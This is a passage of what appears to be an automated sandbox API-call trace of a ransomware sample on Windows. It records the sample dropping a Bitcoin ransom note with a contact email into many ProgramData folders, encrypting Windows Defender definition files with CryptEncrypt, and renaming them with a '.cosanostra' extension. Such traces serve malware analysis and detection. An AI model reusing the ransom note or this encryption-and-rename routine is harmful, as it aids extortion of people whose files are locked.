(lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.332] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdc8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdc8*=0x2ac, lpOverlapped=0x0) returned 1 [0081.332] CloseHandle (hObject=0x134) returned 1 [0081.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.369] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.369] WriteFile (in: hFile=0x168, lpBuffer=0x28dfc03*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdc4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc03*, lpNumberOfBytesWritten=0x28dfdc4*=0x1bf, lpOverlapped=0x0) returned 1 [0081.370] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.370] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdc4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdc4*=0x2ac, lpOverlapped=0x0) returned 1 [0081.370] CloseHandle (hObject=0x168) returned 1 [0081.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\localcopy\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0081.385] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.385] WriteFile (in: hFile=0x16c, lpBuffer=0x28dfbff*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdc0, lpOverlapped=0x0 | out: lpBuffer=0x28dfbff*, lpNumberOfBytesWritten=0x28dfdc0*=0x1bf, lpOverlapped=0x0) returned 1 [0081.385] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.385] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdc0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdc0*=0x2ac, lpOverlapped=0x0) returned 1 [0081.386] CloseHandle (hObject=0x16c) returned 1 [0081.386] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\resource\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0081.482] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.482] WriteFile (in: hFile=0xbc, lpBuffer=0x28dfbfb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdbc, lpOverlapped=0x0 | out: lpBuffer=0x28dfbfb*, lpNumberOfBytesWritten=0x28dfdbc*=0x1bf, lpOverlapped=0x0) returned 1 [0081.482] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.482] WriteFile (in: hFile=0xbc, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdbc, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdbc*=0x2ac, lpOverlapped=0x0) returned 1 [0081.483] CloseHandle (hObject=0xbc) returned 1 [0081.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\wwansvc\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.513] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.513] WriteFile (in: hFile=0x168, lpBuffer=0x28dfbf7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdb8, lpOverlapped=0x0 | out: lpBuffer=0x28dfbf7*, lpNumberOfBytesWritten=0x28dfdb8*=0x1bf, lpOverlapped=0x0) returned 1 [0081.514] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.514] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdb8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdb8*=0x2ac, lpOverlapped=0x0) returned 1 [0081.514] CloseHandle (hObject=0x168) returned 1 [0081.514] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd58 | out: pbBuffer=0x28dfd58) returned 1 [0081.514] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfd50*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfd50*=0x30) returned 1 [0081.514] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.514] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm") returned 116 [0081.514] StrStrW (lpFirst="mpasdlta.vdm", lpSrch=".txt") returned 0x0 [0081.515] ReadFile (in: hFile=0x168, lpBuffer=0x22d2a0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd14, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesRead=0x28dfd14*=0x2800, lpOverlapped=0x0) returned 1 [0081.516] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.516] WriteFile (in: hFile=0x168, lpBuffer=0x22d2a0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd14, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesWritten=0x28dfd14*=0x2800, lpOverlapped=0x0) returned 1 [0081.517] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.517] WriteFile (in: hFile=0x168, lpBuffer=0x28dfd54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd14, lpOverlapped=0x0 | out: lpBuffer=0x28dfd54*, lpNumberOfBytesWritten=0x28dfd14*=0x4, lpOverlapped=0x0) returned 1 [0081.518] WriteFile (in: hFile=0x168, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd14, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfd14*=0x30, lpOverlapped=0x0) returned 1 [0081.518] CloseHandle (hObject=0x168) returned 1 [0081.522] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.cosanostra") returned 127 [0081.522] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm.cosanostra")) returned 1 [0081.523] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd50 | out: pbBuffer=0x28dfd50) returned 1 [0081.523] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfd48*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfd48*=0x30) returned 1 [0081.523] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.524] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm") returned 116 [0081.524] StrStrW (lpFirst="mpasbase.vdm", lpSrch=".txt") returned 0x0 [0081.524] ReadFile (in: hFile=0x168, lpBuffer=0x22d2a0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd0c, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesRead=0x28dfd0c*=0x2800, lpOverlapped=0x0) returned 1 [0081.529] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.529] WriteFile (in: hFile=0x168, lpBuffer=0x22d2a0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd0c, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesWritten=0x28dfd0c*=0x2800, lpOverlapped=0x0) returned 1 [0081.530] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.530] WriteFile (in: hFile=0x168, lpBuffer=0x28dfd4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd0c, lpOverlapped=0x0 | out: lpBuffer=0x28dfd4c*, lpNumberOfBytesWritten=0x28dfd0c*=0x4, lpOverlapped=0x0) returned 1 [0081.534] WriteFile (in: hFile=0x168, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd0c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfd0c*=0x30, lpOverlapped=0x0) returned 1 [0081.534] CloseHandle (hObject=0x168) returned 1 [0081.996] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.cosanostra") returned 127 [0081.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm.cosanostra")) returned 1 [0081.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.997] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.997] WriteFile (in: hFile=0x168, lpBuffer=0x28dfbeb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdac, lpOverlapped=0x0 | out: lpBuffer=0x28dfbeb*, lpNumberOfBytesWritten=0x28dfdac*=0x1bf, lpOverlapped=0x0) returned 1 [0081.998] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.998] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdac, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdac*=0x2ac, lpOverlapped=0x0) returned 1 [0081.998] CloseHandle (hObject=0x168) returned 1 [0081.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0082.058] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.058] WriteFile (in: hFile=0xbc, lpBuffer=0x28dfbe7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfda8, lpOverlapped=0x0 | out: lpBuffer=0x28dfbe7*, lpNumberOfBytesWritten=0x28dfda8*=0x1bf, lpOverlapped=0x0) returned 1 [0082.059] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.059] WriteFile (in: hFile=0xbc, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfda8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfda8*=0x2ac, lpOverlapped=0x0) returned 1 [0082.059] CloseHandle (hObject=0xbc) returned 1 [0082.059] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0082.173] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.173] WriteFile (in: hFile=0x138, lpBuffer=0x28dfbe3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfda4, lpOverlapped=0x0 | out: lpBuffer=0x28dfbe3*, lpNumberOfBytesWritten=0x28dfda4*=0x1bf, lpOverlapped=0x0) returned 1 [0082.174] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.174] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfda4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfda4*=0x2ac, lpOverlapped=0x0) returned 1 [0082.174] CloseHandle (hObject=0x138) returned 1 [0082.175] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 